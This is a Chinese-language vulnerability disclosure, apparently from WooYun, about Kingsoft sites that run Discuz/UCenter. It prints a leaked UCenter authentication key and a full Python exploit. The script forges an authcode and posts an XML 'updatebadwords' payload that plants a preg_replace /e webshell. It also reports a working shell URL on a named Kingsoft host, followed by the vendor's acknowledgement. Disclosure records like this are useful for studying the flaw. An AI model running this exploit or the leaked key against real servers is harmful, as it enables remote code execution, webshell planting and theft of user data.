金山软件集团多站漏洞导致Getshell

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这个 WooYun: 金山软件多站漏洞导致Getshell(涉及用户数据含密码) 修复不完整

uckey: 还可以用4arcx98dG9w4fcnfI5x41fPcr84609y4A3sf3bl96axbSdocUfk6G2Eay9z69fA9

代码

import sys

import hashlib

import time

import math

import base64

import urllib2

import urllib

import re

import requests

import json

global cookie

global formhash

def microtime(get_as_float = False) :

if get_as_float:

return time.time()

else:

return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):

ckey_length = 4

key = hashlib.md5(key).hexdigest()

keya = hashlib.md5(key[0:16]).hexdigest()

keyb = hashlib.md5(key[16:32]).hexdigest()

keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]

cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()

key_length = len(cryptkey)

string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string

string_length = len(string)

result = ''

box = range(0, 256)

rndkey = dict()

for i in range(0,256):

rndkey[i] = ord(cryptkey[i % key_length])

j=0

for i in range(0,256):

j = (j + box[i] + rndkey[i]) % 256

tmp = box[i]

box[i] = box[j]

box[j] = tmp

a=0

j=0

for i in range(0,string_length):

a = (a + 1) % 256

j = (j + box[a]) % 256

tmp = box[a]

box[a] = box[j]

box[j] = tmp

result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

length=len(result)

return keyc + base64.b64encode(result).replace('=', '')

def get_cookie_formhash(host):

global cookie

global formhash

headers = {'content-type': 'application/json'}

r=requests.get(host,headers=headers)

cookie=r.cookies

hash=re.findall(r'formhash" value="[0-9A-z]{1,10}"',r.text)

_formhash=re.findall(r'"[0-9A-z]{1,10}"',hash[0])

formhash=_formhash[0].replace('"','')

def getshell(host,key):

global cookie

global formhash

header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}

tm=time.time()+10*3600

agent=hashlib.md5("Mozilla/5.0 (Windows NT 6.1; WOW64)")

string="agent=%s&time=%s&action=updatebadwords" % (agent,tm)

code=urllib.quote(get_authcode(string,key))

get_cookie_formhash(host)

url="%s/api/uc.php?code=%s&formhash=%s" % (host,code,formhash)

payload='''<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

<item id="0">

<item id="findpattern">/admin/e</item>

<item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item>

</item>

</root>'''

r=requests.post(url,data=payload,cookies=cookie,headers=header)

print url

print r.text

if re.findall('^1',r.text):

print 'success shell is %s/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin password is c' % (host)

if __name__ == '__main__':

commands=sys.argv[1:2]

keys=sys.argv[2:]

args="".join(commands)

argss="".join(keys)

print args,argss

if len(args) < 5:

sys.exit()

else:

getshell(args,argss)

直接shell

成功shell

http://bbs.kingsoftstore.com/tmp1.php 1

1

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-03-28 15:41

厂商回复：

感谢提交，已通知业务进行修复处理

最新状态：

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